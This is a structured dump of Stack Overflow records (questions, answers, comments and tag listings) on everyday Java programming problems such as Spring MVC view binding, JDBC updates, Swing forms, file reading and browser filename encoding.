has body: Here's snippet from java.util.ArrayList: /** * Constructs an IndexOutOfBoundsException detail message. * Of the many possible refactorings of the error handling code, * this "outlining" performs best with both server and client VMs. */ private String outOfBoundsMsg(int index) { return "Index: "+index+", Size: "+size; } Here's snippet from com.google.collect.Preconditions: /* * All recent hotspots (as of 2009) *really* like to have the natural code * * if (guardExpression) { * throw new BadException(messageExpression); * } * * refactored so that messageExpression is moved to a separate * String-returning method. * * if (guardExpression) { * throw new BadException(badMsg(...)); * } * * The alternative natural refactorings into void or Exception-returning * methods are much slower. This is a big deal - we're talking factors of * 2-8 in microbenchmarks, not just 10-20%. (This is a hotspot optimizer * bug, which should be fixed, but that's a separate, big project). * * The coding pattern above is heavily used in java.util, e.g. in ArrayList. * There is a RangeCheckMicroBenchmark in the JDK that was used to test this. May somebody shed light on: why private outOfBoundsMsg is required meaning of "this outlining performs best..." should I start refactoring my code to include string returning methods for my exception constructors?
upvote count: 6
type: AnsweredQuestion

http://stackoverflow.com/q/22321753
has answer: http://stackoverflow.com/a/22502736
answer count: 1
downvote count: 0
tagged with: jsp
has comment: http://stackoverflow.com/comment/33924133
favorite count: 0
has body: I am using Spring tiles framework to map the view and each page contains header (a common JSP header page) + body (the real view). The tiles-definition.xml looks like as follows: &lt;definition extends="defaultTemplate" name="dashboard"&gt; &lt;put-attribute name="header" value="/WEB-INF/jsp/home/mainPageHeader.jsp" /&gt; &lt;put-attribute name="body" value="/WEB-INF/jsp/home/dashboard.jsp" /&gt; &lt;/definition&gt; Till now, mainPageHeader.jsp was static page but now I want to bind some bean to this header page as well. But its not working, I tried as follows in my dashboard controller: ModelAndView model = new ModelAndView("dashboard"); model.addObject("dashboardBean", dashboardObj); // bean related to dashboard page model.addObject("headerBean", headerObject); // new bean sending for header page. return model; But when the dashboard page loads, I can see exception as: Error 500: java.lang.IllegalStateException: Neither BindingResult nor plain target object for bean name 'headerBean' available as request attribute. I can understand the issue, that headerBean which I am passing with the model is not getting associated with view. But haven't got any clue for how to bind the bean with this common header page.
has title: how to bind a POJO bean to common header page
type: UnansweredQuestion
tagged with: spring-mvc
upvote count: 3
type: Question
score: 3
tagged with: java

http://stackoverflow.com/a/22284154
upvote count: 1
downvote count: 0
has body: A JTextField contains text. You get this text using textField.getText(), which returns a String. This String might happen to represent a valid integer. If you want to get the value of the integer, you need to transform the String into an int. That's done using the Integer.parseInt() method: int sum = Integer.parseInt(textField1.getText()) + Integer.parseInt(textField2.getText()); Of course, if one of the text fields contains text that doesn't represent an integer, you'll get an exception, as documented in the Integer.parseInt() javadoc. Given your question, it seems you don't really understand basic notions such as types, and basic classes such as String and Integer. My advice would be to forget about Swing for the moment, and exercise with basic programs not involving any UI.
type: Answer
answers question: http://stackoverflow.com/q/22283963
score: 1

http://stackoverflow.com/comment/33775348
has text: yes ,it works when the c.txt has few letter ,but when in my case, c.txt has a lot of letters, and i must pick some letter in it ,but when the c.txt has l lot of letter ,it din't work,have any solution for this case
type: Comment
comment on: http://stackoverflow.com/a/22240655
type: AnswerComment
score: 0

http://stackoverflow.com/a/22304548
type: Answer
has body: The reason for the date formatting issue when using the DateAdapter was due to my XML string. There was an element tag which was missing a / in it's end tag e.g. should have been
answers question: http://stackoverflow.com/q/22297928
score: 0

union
type: Tag
tags question: http://stackoverflow.com/q/22174902
tag name: union

http://stackoverflow.com/q/22273056
type: Question
has comment: http://stackoverflow.com/comment/33834310
has comment: http://stackoverflow.com/comment/33833488
answer count: 2
has answer: http://stackoverflow.com/a/49401814
has answer: http://stackoverflow.com/a/22273958
downvote count: 0
has comment: http://stackoverflow.com/comment/33833974
has title: java.lang.ClassNotFoundException: org.springframework.expression.ExpressionParser
favorite count: 0
has body: I am total new to Spring, and do not know where I am making a mistake. I am using spring 4.0.2 jars with eclipse and tomcat. All Jar files: spring-aop-4.0.2.RELEASE spring-beans-4.0.2.RELEASE spring-context-4.0.2.RELEASE spring-context-support-4.0.2.RELEASE spring-core-4.0.2.RELEASE spring-jdbc-4.0.2.RELEASE spring-jms-4.0.2.RELEASE spring-orm-4.0.2.RELEASE spring-test-4.0.2.RELEASE spring-tx-4.0.2.RELEASE spring-web-4.0.2.RELEASE spring-webmvc-4.0.2.RELEASE commons-logging-1.1.3 index.jsp: <%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%> Insert title here Spring Home Page Travel Name : success.jsp: <%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%> <%@taglib uri="http://www.springframework.org/tags/form" prefix="form"%> Travel Success Success Page Here need to show the message Web.xml: <?xml version="1.0" encoding="UTF-8"?> SimpleSpringApp index.html index.htm index.jsp default.html default.htm default.jsp Travel org.springframework.web.servlet.DispatcherServlet 1 Travel / Travel-servlet.xml: <beans xmlns="http://www.springframework.org/schema/beans" xmlns:context="http://www.springframework.org/schema/context" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd"> <context:component-scan base-package="com.manoj.springprac" /> <property name="prefix" value="/WEB-INF/jsp/" /> <property name="suffix" value=".jsp" /> </beans> Travel.java: /** * */ package com.manoj.springprac; /** * @author Manoj * */ public class Travel { private String tvlName; public String getTvlName() { return tvlName; } public void setTvlName(String tvlName) { this.tvlName = tvlName; } } TravelController.java: package com.manoj.springprac; import org.springframe…
has comment: http://stackoverflow.com/comment/33833518
tagged with: spring-mvc
has comment: http://stackoverflow.com/comment/33835057
has comment: http://stackoverflow.com/comment/33834112
has comment: http://stackoverflow.com/comment/33833457
type: UnansweredQuestion
score: 1
tagged with: java
upvote count: 1

bnd
tags question: http://stackoverflow.com/q/22208898
type: Tag
tag name: bnd

http://stackoverflow.com/a/22179400
has body: The best way to do this is to use http get request and use it with asynchtask if one has more than one button. public void port01 (View view) { try{ HttpClient httpclient = new DefaultHttpClient(); HttpGet request = new HttpGet(); URI website = new URI("http://192.168.2.66/index.html?o0=1"); request.setURI(website); HttpResponse response = httpclient.execute(request); }catch(Exception e){ } }
answers question: http://stackoverflow.com/q/22174714
score: 0
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/22174714

http://stackoverflow.com/comment/33886098
type: AnswerComment
comment on: http://stackoverflow.com/a/22260011
type: Comment
has text: It's exactly what I want. Thanks.
score: 0

http://stackoverflow.com/comment/33702686
type: Comment
has text: Should I put "if (TextUtils.isEmpty(entermass.getText().toString())) { }" before the OnClickListener part ?
comment on: http://stackoverflow.com/a/22200941
type: AnswerComment
score: 0

http://stackoverflow.com/q/22271321
has title: Waiting for 2 asynctasks
upvote count: 1
downvote count: 1
has body: Hello I'm working on a lol appliacation and i have a problem with async tasks and getting data from 2 different json sources . The thing i need to do is get some info from 1 json source(get the hero id) then provide that information to another task to get hero's name (another json source) and then save the info from both sources into an arraylist. I don't know how to make those 2 async task wait for each other and then write down the data. Before i managed to solve this problem's using static fields and saving data from 1 task and then providing it to the second one but im sure there is another way without the need to use fields and i would like to get it done this way for experience as well... Also now i used loopj library but i still cant combine async tasks. And i can't provide you with the lol api key since it supposed to be private but i hope someone will be able to help me anyway. Thanks in advance. package com.example.lolscouterv2; import java.io.Console; import java.util.ArrayList; import java.util.HashMap; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import com.loopj.android.http.AsyncHttpClient; import com.loopj.android.http.JsonHttpResponseHandler; import android.app.ListActivity; import android.os.Bundle; import android.util.Log; import android.widget.ListAdapter; import android.widget.SimpleAdapter; import android.widget.Toast; import com.loopj.android.http.*; public class SummonerGames extends ListActivity { String summonerNameId, summonerRegion; String finalURL1 = "https://prod.api.pvp.net/api/lol/"; String finalURL3 = "/v1.3/game/by-summoner/"; String finalURL2 = "/recent?api_key="; String finalURL; JSONArray jsonArray, jArr; HashMap &lt;String, String&gt; map; JSONObject c1, c2, jArr1, c3; String champID = null; String champURL1="https://prod.api.pvp.net/api/lol/static-data/eune/v1/champion/"; String champURL2 = "?api_key="; String urlChampion; ArrayList&lt;HashMap&lt;String, String&gt;&gt; summonerGames, sum…
has comment: http://stackoverflow.com/comment/33831747
tagged with: synchronization
favorite count: 0
tagged with: android-asynctask
tagged with: android
accepted answer: http://stackoverflow.com/a/22275697
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25238904
tagged with: java
tagged with: http://stackoverflow.com/tag/json
type: Question
has answer: http://stackoverflow.com/a/22275697
answer count: 2
has answer: http://stackoverflow.com/a/25238904
score: 0
has comment: http://stackoverflow.com/comment/33831212

http://stackoverflow.com/a/22174831
type: Answer
accepted answer of: http://stackoverflow.com/q/22174737
answers question: http://stackoverflow.com/q/22174737
score: 0
has body: for(i=0;i&lt;=100;i++) This will do i = 0 -> i = 100, which 101 iterations. If you want only 100 iterations exactly, you'd need either of these: for (i = 0; i &lt; 100; i++) // note: &lt; only: 0 -&gt; 99 = 100 iterations. for (i = 1; i &lt;= 100; i++) // note: change of starting point: 1 -&gt; 100 = 100 iterations comment followup: This code: j = j++; is the functional equivalent of temp = j; // save current value of j, e.g 0 j = j + 1; // increment j, e.g. j becomes 1 j = temp; // put saved value into j, e.g. j goes back to 0 If you'd done: j = ++j; then it'd be temp = j temp = temp + 1 j = temp or literally just j = j + 1
type: AcceptedAnswer

http://stackoverflow.com/comment/33870698
comment on: http://stackoverflow.com/q/22293137
score: 0
type: Comment
type: QuestionComment
has text: Also, there are two lines in that method that read `sb.append(p.data.toString());` -- which is why I said *clearly* identify relevant lines in the snippet. When asking others for help, please don't make them pull teeth to get information.

http://stackoverflow.com/q/22273878
has body: I am beginner in java. I created a JPanel form in java (NetBeans). then, i defined some actions such as mathematical calculations. When i ran my project, i did not get any error, but i could not see the JPanel form in the running time. because i did not define jform in main class. how can i define JPanel form in main class to show me JPanel form in running time. public class NewJPanel extends javax.swing.JPanel { public NewJPanel() { initComponents(); } @SuppressWarnings("unchecked") // &lt;editor-fold defaultstate="collapsed" desc="Generated Code"&gt; private void initComponents() { jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); jLabel3 = new javax.swing.JLabel(); jTextField1 = new javax.swing.JTextField(); jTextField2 = new javax.swing.JTextField(); jTextField3 = new javax.swing.JTextField(); jButton1 = new javax.swing.JButton(); jButton2 = new javax.swing.JButton(); jButton3 = new javax.swing.JButton(); jButton4 = new javax.swing.JButton(); jButton5 = new javax.swing.JButton(); jLabel1.setText("First Number:"); jLabel2.setText("Second Number:"); jLabel3.setText("Result:"); jButton1.setText("Add"); jButton1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jButton1ActionPerformed(evt); } }); jButton2.setText("Subtract"); jButton2.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jButton2ActionPerformed(evt); } }); jButton3.setText("Multiply"); jButton3.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jButton3ActionPerformed(evt); } }); jButton4.setText("Divide"); jButton4.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jButton4ActionPerformed(evt); } }); jButton5.setText("Clear"); jButton5.addActionListener(new java.awt.event.ActionListener() { public void actionPerform…
has title: Running a JPanel Form
favorite count: 0
tagged with: netbeans
has answer: http://stackoverflow.com/a/22273941
tagged with: gui-builder
linked to: http://stackoverflow.com/q/20601845
has answer: http://stackoverflow.com/a/57596058
tagged with: swing
accepted answer: http://stackoverflow.com/a/22273941
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/57596058
upvote count: 5
tagged with: java
tagged with: jpanel
type: Question
answer count: 2
score: 5
downvote count: 0

http://stackoverflow.com/comment/135640407
has text: The code as it's shown does not work for me: I had to change the digits.Length to digits.Lenght -1 to get the right results. The last checksum digit is not part of the calculation. You can argue that you pass only the first 8 characters in but then itis not a CUSIP as the variable name suggests.
comment on: http://stackoverflow.com/a/22231258
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/22323364
tagged with: jdbc
has answer: http://stackoverflow.com/a/22323442
favorite count: 0
has comment: http://stackoverflow.com/comment/33924486
score: 0
linked to: http://stackoverflow.com/q/2839321
upvote count: 1
tagged with: swing
has comment: http://stackoverflow.com/comment/33957779
downvote count: 1
tagged with: java
tagged with: mysql
linked to: http://stackoverflow.com/q/5982675
answer count: 4
has answer: http://stackoverflow.com/a/22323460
has answer: http://stackoverflow.com/a/22324720
type: AnsweredQuestion
has title: Failing to update a row in mySQL database using Java no error message
has comment: http://stackoverflow.com/comment/33932594
has body: I imported JDBC driver successfully into netbeans and tested the mySQL connection...works fine but after executing the query, the table is not updated in mySQL. I'm using a GUI to update these values and i'm getting absolutely no errors at all and i'm using exception handling as well! //here's my code (updated) package DBConn; import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; import java.sql.Statement; import java.util.logging.Level; import java.util.logging.Logger; //import java.util.*; public class FrameDBTest extends javax.swing.JFrame { public FrameDBTest() { initComponents(); } @SuppressWarnings("unchecked") // &lt;editor-fold defaultstate="collapsed" desc="Generated Code"&gt; private void initComponents() { jPanel1 = new javax.swing.JPanel(); jTextField1 = new javax.swing.JTextField(); jTextField2 = new javax.swing.JTextField(); jTextField3 = new javax.swing.JTextField(); jComboBox1 = new javax.swing.JComboBox(); jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); jLabel3 = new javax.swing.JLabel(); jLabel4 = new javax.swing.JLabel(); jButton1 = new javax.swing.JButton(); jTextField4 = new javax.swing.JTextField(); jLabel6 = new javax.swing.JLabel(); jButton2 = new javax.swing.JButton(); jLabel5 = new javax.swing.JLabel(); jPanel2 = new javax.swing.JPanel(); jPanel3 = new javax.swing.JPanel(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); setTitle("Tapiwa's FlowNation CARS"); setResizable(false); jPanel1.setBackground(new java.awt.Color(153, 153, 255)); jTextField1.setFont(new java.awt.Font("Century Gothic", 0, 18)); // NOI18N jTextField1.setName("JID"); // NOI18N jTextField1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jTextField1ActionPerformed(evt); } }); jTextField2.setFont(new java.awt.Font("Century Gothic", 0, 18)); // NOI18N jTextField2.setName("JNAME"); // NOI18N jTextField2.addActionListener(new jav…
has answer: http://stackoverflow.com/a/22323777
accepted answer: http://stackoverflow.com/a/22324720
type: Question
possible better answer: http://stackoverflow.com/a/22323442

http://stackoverflow.com/comment/33831780
score: 0
type: AnswerComment
has text: Check the generated SQL. It should work fine, even if the spec only says that fetch is a "hint". But nothing forbids you to use fetch joins, and to make sure everything is loaded using the first technique. Anyway, it's impossible to diagnose anything without seeing a single line of code and a precise description of the problem.
type: Comment
comment on: http://stackoverflow.com/a/22272022

jsoup
tags question: http://stackoverflow.com/q/22307023
tags question: http://stackoverflow.com/q/22197262
tags question: http://stackoverflow.com/q/22216762
tags question: http://stackoverflow.com/q/22218405
tags question: http://stackoverflow.com/q/22309674
tags question: http://stackoverflow.com/q/22294542
tags question: http://stackoverflow.com/q/22305654
tags question: http://stackoverflow.com/q/22310562
tags question: http://stackoverflow.com/q/22323700
type: Tag
tag name: jsoup
tags question: http://stackoverflow.com/q/22187777
tags question: http://stackoverflow.com/q/22265942
tags question: http://stackoverflow.com/q/22299320
tags question: http://stackoverflow.com/q/22219393
tags question: http://stackoverflow.com/q/22205683
tags question: http://stackoverflow.com/q/22323086
tags question: http://stackoverflow.com/q/22287944
tags question: http://stackoverflow.com/q/22246979

http://stackoverflow.com/comment/33790205
comment on: http://stackoverflow.com/q/22249296
type: Comment
type: QuestionComment
has text: Does your program runs fully ? Is it totally blank or your get atleast any result ? How are you running your program ?
score: 1

http://stackoverflow.com/a/76173039
type: Answer
answers question: http://stackoverflow.com/q/22183178
score: 4
has body: Make sure the mocked services in your controller return something. when(myservice.getResult()).thenReturn(someObject); Without some form of result Spring cannot determine the content type.
upvote count: 4
downvote count: 0

http://stackoverflow.com/q/22199220
has title: How to read multiple lines using FileReader only?
has comment: http://stackoverflow.com/comment/33734581
has answer: http://stackoverflow.com/a/22199770
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22200541
has comment: http://stackoverflow.com/comment/33733832
accepted answer: http://stackoverflow.com/a/22219359
tagged with: java
has comment: http://stackoverflow.com/comment/33729457
upvote count: 1
has answer: http://stackoverflow.com/a/22199472
type: Question
has comment: http://stackoverflow.com/comment/33699737
has answer: http://stackoverflow.com/a/22216055
answer count: 6
has comment: http://stackoverflow.com/comment/33699799
has body: I have the following code: public class Reader { public static void main(String[] args) throws IOException { try (FileReader in = new FileReader("D:/test.txt")) { // BufferedReader br = new BufferedReader(in); int line = in .read(); for (int i = 0; i &lt; line; i++) { //System.out.println(line); System.out.println((char) line); line = in .read(); } } } } and a file Test.txt with the content: Hello Java When I run above code it only reads Hello. I would like to read multiple lines using FileReader only. I don't want to use BufferedReader or InputStreamReader etc. Is that possible?
has comment: http://stackoverflow.com/comment/33729436
linked to: http://stackoverflow.com/q/22225529
has comment: http://stackoverflow.com/comment/33729403
has answer: http://stackoverflow.com/a/22219359
downvote count: 0
score: 1
favorite count: 0
linked to: http://stackoverflow.com/q/22216398
tagged with: filereader
has answer: http://stackoverflow.com/a/22199491
possible better answer: http://stackoverflow.com/a/22199770
has comment: http://stackoverflow.com/comment/33699786

http://stackoverflow.com/comment/33722629
type: QuestionComment
has text: So disheartening , because yesterday i did those steps and it worked it created the correct files , but now i have changed some of the sdks , and tried to start new one and it simply does not created the xml file or the java file. And i also cant get my bloody phone to work either after following online advice
comment on: http://stackoverflow.com/q/22211366
score: 0
type: Comment

http://stackoverflow.com/a/22505474
has body: First of all, your code is not really the best way to do such thing. You shouldn't create a new menu each time the button is clicked but rather create it once and keep a reference to it as field. The reason PopupMenu does not hide is that you explicitly call setVisible(true); and you try to setVisible(false); in the very same ActionListener which is assigned to the button, not the frame. You could: 1. Add another listener to the frame to set menu visiblity to false when clicked 2. Use show method instead of setVisible: menu.show(button1, 0, button1.getHeight()); instead of menu.setLocation((int) p.getX(), (int) p.getY() + button1.getHeight()); menu.setVisible(true); However in our case, this causes other issues with menu disappearing. IMO the best way is to redesign your code.
score: 0
has comment: http://stackoverflow.com/comment/34664648
answers question: http://stackoverflow.com/q/22283955
type: Answer

http://stackoverflow.com/comment/33822323
score: 0
type: Comment
has text: What do you mean with "not like this" ?
type: QuestionComment
comment on: http://stackoverflow.com/q/22266731

http://stackoverflow.com/a/22312457
answers question: http://stackoverflow.com/q/22312420
has comment: http://stackoverflow.com/comment/33905091
type: Answer
has body: Array indexes in Java range from 0 through length - 1, so for your array of length 3, the maximum index is 2. Stop your for loop before you get to length, or else you'll run off the end of the array with a[3] and you'll get the ArrayIndexOutOfBoundsException you have observed. Change for (int i = 0; i &lt;= a.length; i++) { to for (int i = 0; i &lt; a.length; i++) {
upvote count: 6
score: 6
downvote count: 0

http://stackoverflow.com/a/22599546
accepted answer of: http://stackoverflow.com/q/22290768
answers question: http://stackoverflow.com/q/22290768
has comment: http://stackoverflow.com/comment/34650608
score: 3
has body: As discussed in this question, you can create your own subclass of EventQueue which inspects events, and create a place in the code where you can set your break point and only catch certain kinds of events. It might look something like this: EventQueue eventQueue = Toolkit.getDefaultToolkit().getSystemEventQueue(); eventQueue.push(new EventQueue(){ public void postEvent(AWTEvent theEvent) { if(theEvent instanceof KeyEvent){ KeyEvent kEvent = (KeyEvent)theEvent; if(kEvent.getKeyCode() == KeyEvent.VK_ESCAPE){ System.out.println("escape pressed, set breakpoint here"); } } super.postEvent(theEvent); } }); Then when you hit that breakpoint, you can step into the super.postEvent() call and see where it goes, which component(s) receive it, and when they begin to interact with some part of your code. Be forewarned that it may be a long slog, though -- AWT/Swing event dispatching can get pretty complex.
has comment: http://stackoverflow.com/comment/34592718
upvote count: 3
has comment: http://stackoverflow.com/comment/34589422
type: AcceptedAnswer
type: Answer
downvote count: 0

dialog
tag name: dialog
tags question: http://stackoverflow.com/q/22306536
tags question: http://stackoverflow.com/q/22324639
tags question: http://stackoverflow.com/q/22226920
tags question: http://stackoverflow.com/q/22253384
tags question: http://stackoverflow.com/q/22240201
type: Tag
tags question: http://stackoverflow.com/q/22224525
tags question: http://stackoverflow.com/q/22207485
tags question: http://stackoverflow.com/q/22245937

http://stackoverflow.com/comment/33908658
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22314417
type: AnswerComment
has text: Humm yea you are right its not if it throws an exception but its just a basic type of it. You can easly edit it how u want i think. And nope there is not any spesific reason to use small buffer. I believe using bigger one wont be a problem.

http://stackoverflow.com/q/22273524
tagged with: java
has answer: http://stackoverflow.com/a/22273627
has comment: http://stackoverflow.com/comment/33834452
has title: Is there a way of traversing from string to int array and vice versa
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/33834668
answer count: 2
has comment: http://stackoverflow.com/comment/33835000
has body: In Java, given the array int a[] = {1,2,3} I can do Arrays.toString(a) to get "[1,2,3]" Is there an equally convenient way to return this String back to its antecedent array? Or must I go through the whole split, for-loop, parseInt stuff? UPDATE Thanks everyone for all the thoughts. I rolled out my own function as String src[] = data.split("\\D+");//data is intArrayAsString: [1,2,3] int[] nums = new int[src.length - 1]; int ndx = 0; for (String s : src) { try { nums[ndx] = Integer.parseInt(s); ndx++; } catch (NumberFormatException e) { } } return nums; Note: the word traverse seems to have thrown a few people off. By "traversing" I meant the ability to move back and forth from the string to the int array.
possible better answer: http://stackoverflow.com/a/22273627
tagged with: arrays
has comment: http://stackoverflow.com/comment/33834472
tagged with: string
favorite count: 0
accepted answer: http://stackoverflow.com/a/22273561
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33834407
has answer: http://stackoverflow.com/a/22273561
type: AnsweredQuestion

http://stackoverflow.com/q/22255127
tagged with: loops
upvote count: 1
has answer: http://stackoverflow.com/a/22255323
type: Question
possible better answer: http://stackoverflow.com/a/22255315
has answer: http://stackoverflow.com/a/22255315
has title: How to count the number of recursions in a stateless service?
has answer: http://stackoverflow.com/a/22255329
answer count: 3
accepted answer: http://stackoverflow.com/a/22255323
downvote count: 0
score: 1
favorite count: 0
tagged with: spring
type: AnsweredQuestion
has body: Is it possible to count the number of iterations in a service that should not maintain any stateful variables? @Service //stateless spring service singleton class MyService { //this is clearly not stateless int iterations = 0; ResultVO run() { interations++; do(); some(); subroutines(); if (validationFails() &amp;&amp; iterations &lt;= 3) { run(); //retry the iteration steps only 3 times } else { throw TooManyIterationsException(); } return resultVO; } }
tagged with: java

rest
tags question: http://stackoverflow.com/q/22230184
tags question: http://stackoverflow.com/q/22192418
tags question: http://stackoverflow.com/q/22291441
tags question: http://stackoverflow.com/q/22174560
tags question: http://stackoverflow.com/q/22208923
tags question: http://stackoverflow.com/q/22246938
tags question: http://stackoverflow.com/q/22225580
tags question: http://stackoverflow.com/q/22227487
tags question: http://stackoverflow.com/q/22258955
tags question: http://stackoverflow.com/q/22177497
tags question: http://stackoverflow.com/q/22216978
tags question: http://stackoverflow.com/q/22269575
tags question: http://stackoverflow.com/q/22217979
tags question: http://stackoverflow.com/q/22194430
tags question: http://stackoverflow.com/q/22194142
tags question: http://stackoverflow.com/q/22181488
tags question: http://stackoverflow.com/q/22194308
tags question: http://stackoverflow.com/q/22276888
tags question: http://stackoverflow.com/q/22173869
tags question: http://stackoverflow.com/q/22185776
tags question: http://stackoverflow.com/q/22244985
tags question: http://stackoverflow.com/q/22232804
tags question: http://stackoverflow.com/q/22268011
tags question: http://stackoverflow.com/q/22203038
tags question: http://stackoverflow.com/q/22307428
tags question: http://stackoverflow.com/q/22243320
tags question: http://stackoverflow.com/q/22256775
tags question: http://stackoverflow.com/q/22184801
tags question: http://stackoverflow.com/q/22184711
tags question: http://stackoverflow.com/q/22170584
tags question: http://stackoverflow.com/q/22182078
tags question: http://stackoverflow.com/q/22278764
tags question: http://stackoverflow.com/q/22273647
type: Tag
tags question: http://stackoverflow.com/q/22305077
tags question: http://stackoverflow.com/q/22265649
tags question: http://stackoverflow.com/q/22289404
tags question: http://stackoverflow.com/q/22246656
tags question: http://stackoverflow.com/q/22268158
tags question: http://stackoverflow.com/q/22304596
tags question: http://stackoverflow.com/q/22191060
tags question: http://stackoverflow.com/q/22206915
tags question: http://stackoverflow.com/q/22179708
tag name: rest
tags question: http://stackoverflow.com/q/22182871
tags question: http://stackoverflow.com/q/22178327
tags question: http://stackoverflow.com/q/22275030
tags question: http://stackoverflow.com/q/22265950
tags question: http://stackoverflow.com/q/22204387
tags question: http://stackoverflow.com/q/22242243

http://stackoverflow.com/comment/33848147
has text: Why would you use `substring` in place of `charAt` ?
comment on: http://stackoverflow.com/a/22281131
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/22286052
upvote count: 4
favorite count: 0
has answer: http://stackoverflow.com/a/22286109
tagged with: timer
downvote count: 0
has body: In my android project I have an activity that needs to run a code every minute. How can I do this? The code needs to run every minute while the activity is running and not paused (i.e. the user is seeing it and not some other activity). Also it shouldn't run when the app is minimized. When the activity ends, the code should stop running. Does anyone know the code for this? Thanks
type: AnsweredQuestion
has title: How to run code every minute in android activity?
tagged with: java
type: Question
answer count: 2
score: 4
has answer: http://stackoverflow.com/a/22286111
accepted answer: http://stackoverflow.com/a/22286109
tagged with: android
possible better answer: http://stackoverflow.com/a/22286111

http://stackoverflow.com/comment/33703375
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22201259
has text: And about the minus sign - if it works fine on all other devices, then I presume it's the correct character?

http://stackoverflow.com/q/22319277
tagged with: java
tagged with: google-chrome
type: Question
tagged with: internet-explorer
has comment: http://stackoverflow.com/comment/33922366
score: 4
has answer: http://stackoverflow.com/a/22324744
answer count: 3
tagged with: firefox
has comment: http://stackoverflow.com/comment/33925276
has answer: http://stackoverflow.com/a/35573100
has body: I set like this: response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode("你好.txt", "utf-8")); it works in chrome, but not in firefox, in firefox the file name is %E4%BD%A0%E5%A5%BD.txt. So how to set file name? I want the file name to be showed correctly in chrome, firefox and IE(>=8) PS:solved by a friend, share it with you, maybe it can help others. /** return encoded file name */ protected String getFileName(String filename) { try{ HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.getRequestAttributes()).getRequest(); if (request.getHeader("User-Agent").indexOf("MSIE") != -1) { return '\"' + java.net.URLEncoder.encode(filename, "UTF-8") + '\"'; } byte[] bytes = filename.getBytes("UTF-8"); StringBuilder buff = new StringBuilder(bytes.length &lt;&lt; 2); buff.append("=?UTF-8?Q?"); for (byte b : bytes) { int unsignedByte = b &amp; 0xFF; buff.append('=').append(HEX_CHARS[unsignedByte &gt;&gt; 4]).append(HEX_CHARS[unsignedByte &amp; 0xF]); } return buff.append("?=").toString(); }catch(UnsupportedEncodingException e){ return filename; } } private static final char[] HEX_CHARS = new char[] { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' }; I test this code in chrom 33.0, IE 8 and firefox 26.0, it works well.
favorite count: 0
has comment: http://stackoverflow.com/comment/33917113
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33923524
has title: how to set chinese filename correctly for different browsers when download file
linked to: http://stackoverflow.com/q/4400678
upvote count: 4
has answer: http://stackoverflow.com/a/22319596
downvote count: 0

http://stackoverflow.com/comment/37044879
score: 0
has text: This can be a case i.e. if he is counting number of persons having same name
type: Comment
comment on: http://stackoverflow.com/a/22297755
type: AnswerComment

http://stackoverflow.com/q/22318898
type: Question
has title: QuickSort with ArrayLists
tagged with: arraylist
answer count: 2
has body: I am trying to implement a quicksort using ArrayLists. However I am not sure how to create one Arraylist&lt;Integer&gt; with all the integers in it. I feel like there is a method I could use to easily do this. Here is my code public static ArrayList&lt;Integer&gt; quicksort(ArrayList&lt;Integer&gt; arr, int min, int max) { int pivot = (min + max)/2; if (arr.size() &lt;= 1) { return arr; } else { ArrayList&lt;Integer&gt; less = new ArrayList&lt;Integer&gt;(); ArrayList&lt;Integer&gt; greater = new ArrayList&lt;Integer&gt;(); for (int i : arr) { if ( i &lt; arr.get(pivot)) { less.add(i); } else { greater.add(i); } } return quicksort(less, min, pivot) + arr.get(pivot) + quicksort(greater, pivot + 1, max); } }
downvote count: 0
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22318954
tagged with: quicksort
has answer: http://stackoverflow.com/a/22319180
score: 1
tagged with: java
upvote count: 1

http://stackoverflow.com/comment/33748797
has text: Sorry i don't get it. setBackground() on which object?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22226575

http://stackoverflow.com/comment/33907759
type: QuestionComment
has text: @user3345200 You may want to have a look at the official tutorial on [Object Ordering](http://docs.oracle.com/javase/tutorial/collections/interfaces/order.html). It is concise and well-written and does a good job at explaining how to implement and use a `Comparator` to sort objects.
comment on: http://stackoverflow.com/q/22314009
score: 0
type: Comment

http://stackoverflow.com/comment/33679694
has text: The code you have posted does not result in an ArrayIndexOutOfBoundsException.
type: Comment
type: QuestionComment
score: 3
comment on: http://stackoverflow.com/q/22187741

glassfish-4
tags question: http://stackoverflow.com/q/22184801
type: Tag
tags question: http://stackoverflow.com/q/22214353
tags question: http://stackoverflow.com/q/22198899
tags question: http://stackoverflow.com/q/22238712
tag name: glassfish-4
tags question: http://stackoverflow.com/q/22306200

http://stackoverflow.com/q/22270676
has answer: http://stackoverflow.com/a/22287286
score: 2
tagged with: libgdx
tagged with: java
tagged with: bitmap-fonts
tagged with: shake
type: Question
upvote count: 2
answer count: 3
